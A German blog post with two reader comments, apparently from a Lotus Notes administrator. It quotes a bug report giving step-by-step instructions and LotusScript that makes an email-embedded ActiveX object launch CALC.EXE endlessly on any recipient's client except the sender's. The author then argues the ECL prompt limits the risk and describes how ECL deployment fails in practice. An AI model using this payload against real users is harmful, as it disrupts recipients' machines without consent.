bin gerade wieder über einen recht “witzigen” bugreport gestolpert, demnach man mit einem im mail eingebetteten ActiveXPlugin object auf dem client des empfängers beliebige programme ausführen kann…

Follow these steps :
1) Create a new mail, add recepients
2) Go to the body and click in the menu “Create..Object”
3) Select “Control” and any object you please such as “ActiveXPlugin Object”
4) In Client 4.6 right click on the object to get “Properties”
In Client 5 click on the menu the new “Applet” feature, and go to “Properties” then check “run the object when the document is read”
5) Then select “Edit events” : An event pane opens linked to the object
6) In the “Initialize” section Add the following code, where “My EMAIL” is your Lotus Notes account name (if you get this part wrong, you’ll bomb yourself) :

Sub Initialize
Dim TaskId As Integer
Dim session As New NotesSession
If session.CommonUserName<>“My EMAIL” Then
Do
TaskId%=Shell(“CALC.EXE”,1)
Loop
End If
End Sub

7) In the “Terminate” section, do the same :

Sub Terminate
Dim TaskId As Integer
Dim session As New NotesSession
If session.CommonUserName<>“My EMAIL” Then
Do
TaskId%=Shell(“CALC.EXE”,1)
Loop
End If
End Sub

8) Click again on the “Initialize” section
9) Hit the “Send” button, enjoy

das stimmt natürlich. auch ich habe bereits solch lustige scherze mit meinen kollegen gespielt (servus franzi :wink:) – und es hat auch teilweise funktioniert. aber ich sehe das nicht wirklich als security hole – denn es ist ja nicht so, dass der code wirklich ohne nachfragen ausgeführt wird. nein, da kommt ja noch die ecl ins spiel und macht sich mit einem pop-up bemerkbar… leider nehmen das aber meiner erfahrung nach nur die wenigsten leute ernst und klicken (aus gewohnheit?) zur sicherheit ohne zu lesen auf “vertrauenswürdig”. denn – wo ist denn die ecl wirklich 100% so implementiert, wie es per design sein sollte?

klar, man bemüht sich – alle designelemente sind mit einem bestimmten user unterzeichnet, und dieser ist auch schön brav im domino-directory als komplett vertrauenswürdig hinterlegt. doch da man halt den client nicht wirklich immer im griff hat, passieren dort im zusammenspiel mit dem client-support teams die unschönsten sachen was unter anderem (und das ist wohl noch das geringste) auch zu einer fehlenden ecl führt.
sicherlich könnte man z.b. im openevent der datenbank bei jedem öffnen die ecl aktualisieren – aber man hat nicht immer die notwendige bandbreite zwischen den clients und den servern, und somit will man sich nicht den unmut der anwender durch eine noch langsamer öffnende mail-db auf sich ziehen – immerhin laufen ja eh schon irgendwelche archivierungs-check scripte, arbeitsumgebungsanpassungs-scripte (cooles wort), pgp, usw….

also kommt der anwender mit diesen pop-ups in berührung – und entweder die netten kollegen oder der kompetente user-helpdesk ist hilfreich mit bemerkungen wie “jo, des is normal. einfach vertrauenswürdig drücken, dann kommts nimma”
und abgesehen davon: jedes halbwegs vernünftige stück software kann man auf irgendeine art und weise anscripten – wie durch diese paar zeilen lotusscript gezeigt auch mal nicht im sinne des erfinders. diesen umstand als security hole zu bezeichnen ist nicht ganz sinnvoll – da gibt es ganz andere sachen. man kann ja nur froh sein, dass notes/domino nicht so verbreitet ist wie outlook/exchange… denn dann würden die richtigen holes auftauchen und somit die notwendigkeit des patchens… und da läuft es mir kalt den rücken runter wenn ich daran denke, die notes clients 1x wöchentlich mit den momentanen mitteln updaten zu müssen (zumal es ja von ibm nicht mal patches gibt)

2 Responses to With a little LotusScript

  • Wo hat man den Client nicht richtig im Griff (bezgl. ECL)?

  • hipslu says:

    bin mir nicht sicher, ob ich deine frage richtig verstehe; aber ein beispiel: unser servicedesk installiert – weil er es einfach nicht besser weiss bzw weil unsere “ermahnungen” bei der fluktuation einfach untergehen – neue clients nicht “normal”, sondern es wird eine standard desktop5.dsk und names.nsf eingespielt; somit wird die ecl leider nicht aktualisiert.

    wenn wir schon dabei sind, noch ein anderes beispiel, wo man den client nicht im griff hat: wenn du bei anwendern die smtp-adresse umstellen willst – z.b. von vorname.nachname@domain.org auf vorname.nachname@subdomain.domain.org dann reicht es nicht, wenn du das im personendoc anpasst; du musst die arbeitsumgebung anpassen. krank ist auch der router, der z.b. bei solchen personen dann trotzdem noch vorname.nachname@domain.org akzeptiert; oder sofern eindeutig auch vorname@domain.org oder nachname@domain.org…. aber das nur nebenbei 🙂